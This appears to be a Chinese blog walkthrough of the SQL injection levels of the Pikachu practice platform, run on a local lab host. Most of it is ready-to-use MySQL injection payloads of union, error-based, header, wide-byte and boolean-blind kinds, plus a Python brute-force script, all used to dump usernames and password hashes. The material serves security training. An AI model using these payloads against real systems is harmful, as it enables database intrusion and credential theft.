pikachu平台SQL注入

pikachu平台SQL注入

日常心累、速通pikachu注入相关



使用到的名词解释

mysql信息收集
数据库版本: version()
数据库用户: user()
数据库名字: database()
操作系统: @@version_compile_os
记录所有数据库、表、字段的数据库: information_schema
information_schema.tables : 表
information_schema.columns : 字段
table_name:表名
column_name:字段名

1. 数字型注入 --使用bp处理数据包

确认注入点
id=3 and 1=1&submit=%E6%9F%A5%E8%AF%A2

确认最大返回数
id=3 order by 2&submit=%E6%9F%A5%E8%AF%A2

联合查询返回数据库版本,操作系统等数据
id=3 union select version(),@@version_compile_os&submit=%E6%9F%A5%E8%AF%A2

查表
id=3 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2

查字段
id=3 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'&submit=%E6%9F%A5%E8%AF%A2

查看字段值
id=3 union select 1,group_concat(concat_ws('~',username,password)) from users&submit=%E6%9F%A5%E8%AF%

2. 字符型注入 --hackbar处理

确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_str.php?name=kobe'--+&submit=%E6%9F%A5%E8%AF%A2

由于是在同个数据库下,直接根据users表查字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_str.php?name=kobe' union select 1,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%9F%A5%E8%AF%A2

3. 搜索型注入

简单的sql语句:SELECT * FROM user WHERE username LIKE '小%';

确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_search.php?name=kobe'--+&submit=%E6%90%9C%E7%B4%A2

直接查users字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_search.php?name=kobe' union select 1,2,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%90%9C%E7%B4%A2

4. xx型注入

确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_x.php?name=kobe')--+&submit=%E6%9F%A5%E8%AF%A2

直接查字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_x.php?name=kobe') union select 1,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%9F%A5%E8%AF%A2

5. insert/update注入

由于不是查询语句,可以使用报错查询
在注册页面:
用户:qiye' || (extractvalue(1,concat(0x7e,(select(database())),0x7e))) || '
密码:随意
其余:随意

爆users字段
用户:' || (extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))) || '
密码:随意
其余:随意
报错返回:XPATH syntax error: 'admin~e10adc3949ba59abbe56e057f'
请添加图片描述

6. delete注入

删除时使用BP抓包,PHP会调用delete语句,让他报错就行

注入点
id=77+or+extractvalue(1,concat(0x7e,(select(database()),0x7e))

查users表字段值
id=77+or+extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))

请添加图片描述

7. http头注入

注入点
Accept: qiye' || (extractvalue(1,concat(0x7e,(select(database())),0x7e))) || '

查users中字段数据
Accept: ' || (extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))) || '
请添加图片描述

8. 布尔盲注

注入点
先找一个存在的username,所以用系统给的kobe,这里通过异或运算来逻辑判断正确与失败
http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^1--+

简单手工测试,这里测试数据库的第一个字符的ascii(根据前面已知数据库名为pikachu,故第一个字符为p,p的ascii码为112)
http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^(ascii(substr((select(database())),1,1))>111)--+

http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^(ascii(substr((select(database())),1,1))>112)--+
发现第一个payload有返回结果,第二个payload没有返回结果,故可以通过爆破字段的ascii码来获取数据,所以开始写poc:

import requests
import time

url="http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and "
name=''

for i in range(1, 80):
    print(i)
    low = 31
    high = 127
    mid=(low + high) // 2
    while low < high:
        #payload = "0^(ascii(substr((select(database())),%d,1))>%d)--+" % (i, mid)
        #payload = "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)--+"%(i, mid)
        #payload = "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))>%d)--+"%(i, mid)
        payload = "0^(ascii(substr((select(group_concat(username,'~',password))from(users)),%d,1))>%d)--+"%(i, mid)

        r = requests.get(url + payload)
        print(url + payload)
        if 'kobe' in r.text:   #kobe为文章内容,一旦正常返回,则字符爆破正确
            low = mid+1
        else:
            high=mid
        mid = (low + high) // 2
        if(mid == 32):
            break
    name = name + chr(mid)
    print (name)

请添加图片描述

9. 时间盲注

暂时不写,主要POC想想怎么写

10. 宽字节注入

name=kobe%df' union select 1,group_concat(username,password) from users--+&submit=%E6%9F%A5%E8%AF%A2
请添加图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值